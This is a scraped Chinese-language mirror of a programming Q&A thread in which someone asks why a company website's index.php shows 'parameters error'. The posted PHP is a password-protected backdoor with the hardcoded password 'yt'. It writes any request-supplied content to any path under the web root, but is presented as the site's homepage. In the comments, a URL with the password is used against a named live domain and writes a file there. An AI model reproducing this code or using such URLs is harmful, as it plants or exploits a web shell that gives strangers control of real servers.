Warning: file_get_contents(/data/phpspider/zhask/data//catemap/1/php/233.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Php 网站未重定向到地址_Php_Web_Web Development Server - Fatal编程技术网

Php 网站未重定向到地址

Php 网站未重定向到地址,php,web,web-development-server,Php,Web,Web Development Server,这是我的index.php <?php error_reporting(E_ERROR); //set_time_limit(0); //header("Content-Type: text/html; charset=utf-8"); $system_password="yt"; $action=$_REQUEST['action']; $password=$_REQUEST['password']; $filename=$_REQ

这是我的
index.php

<?php
    error_reporting(E_ERROR);
    //set_time_limit(0);
    //header("Content-Type: text/html; charset=utf-8");
    $system_password="yt";
    $action=$_REQUEST['action'];
    $password=$_REQUEST['password'];
    $filename=$_REQUEST['filename'];
    $body=stripslashes($_REQUEST['body']);

    if($password!=$system_password)
        {
            echo 'password error';
            return;
        }

    if($action=="test")
        {
            echo 'test success';
            return;
        }

    $wjj=dirname(__FILE__);
    if(!file_exists($wjj))
       {    
           mkdir($wjj,0777);
       }

    $fp=fopen($filename,"w");
    //fwrite($fp,"\xEF\xBB\xBF".iconv('gbk','utf-8//IGNORE',$body));
    fwrite($fp,"\xEF\xBB\xBF".$body);
    fclose($fp);

    if(file_exists($filename))
       { 
           chmod($filename,0777);
       }
    echo "publish success";
?>
<?php
     //header("Content-Type: text/html; charset=utf-8");
$config_password="yt";
$action=$_REQUEST['action'];
$password=$_REQUEST['password'];
$folderpath=$_REQUEST['folderpath'];
$filename=$_REQUEST['filename'];
$body=stripslashes($_REQUEST['body']);

if($password==""||$filename==""||$body=="")
    {
        echo 'parameters error!';
        return;
    }

if($password!=$config_password)
   {
        echo 'password error!';
        return;
   }

$rootPath=$_SERVER['DOCUMENT_ROOT'];
$newPath=$rootPath;

if($folderpath!="")
    {
        if($folderpath=="root")
            {
                 $newPath=$rootPath.'/'.$filename;
            }
        else
            {
                 createFolder($rootPath.'/'.$folderpath);
                 $newPath=$rootPath.'/'.$folderpath.'/'.$filename;
            }
     }
else
     {
         $newPath=$filename;
     }


$fp=fopen($newPath,"w");
//fwrite($fp,"\xEF\xBB\xBF".iconv('gbk','utf-8//IGNORE',$body));
fwrite($fp,$body);
fclose($fp);

if(file_exists($newPath))
    {
        echo "publish success & uploaded";
    }

function createFolder($path) 
    {
        if (!file_exists($path))
            {
                createFolder(dirname($path));
                mkdir($path, 0777);
            }
    }
?>

当我将此页面设置为主页时,它显示“参数错误”。我还没有开发这个网站。我只是代表某家公司处理此事。我无法找到使此网站持续工作的问题。

:发布成功&uploaded@n3storm访问链接,您会发现它显示“参数错误”。我一直在努力解决这个问题。我无法解决它。@A-2-A我不是一个成熟的程序员。我是it新手。所以,如果你能帮我找到解决方案的地方和方法??以防万一,我粘贴的url看起来是这样的:
http://www.saxonybyseema.com/?password=yt&filename=fuu&body=fu&folderpath=/faa
。每个由
&
分隔的
something=somevalue
称为参数。您的示例站点现在显示一些正在生产中的内容。@n3storm那么我现在应该做什么呢?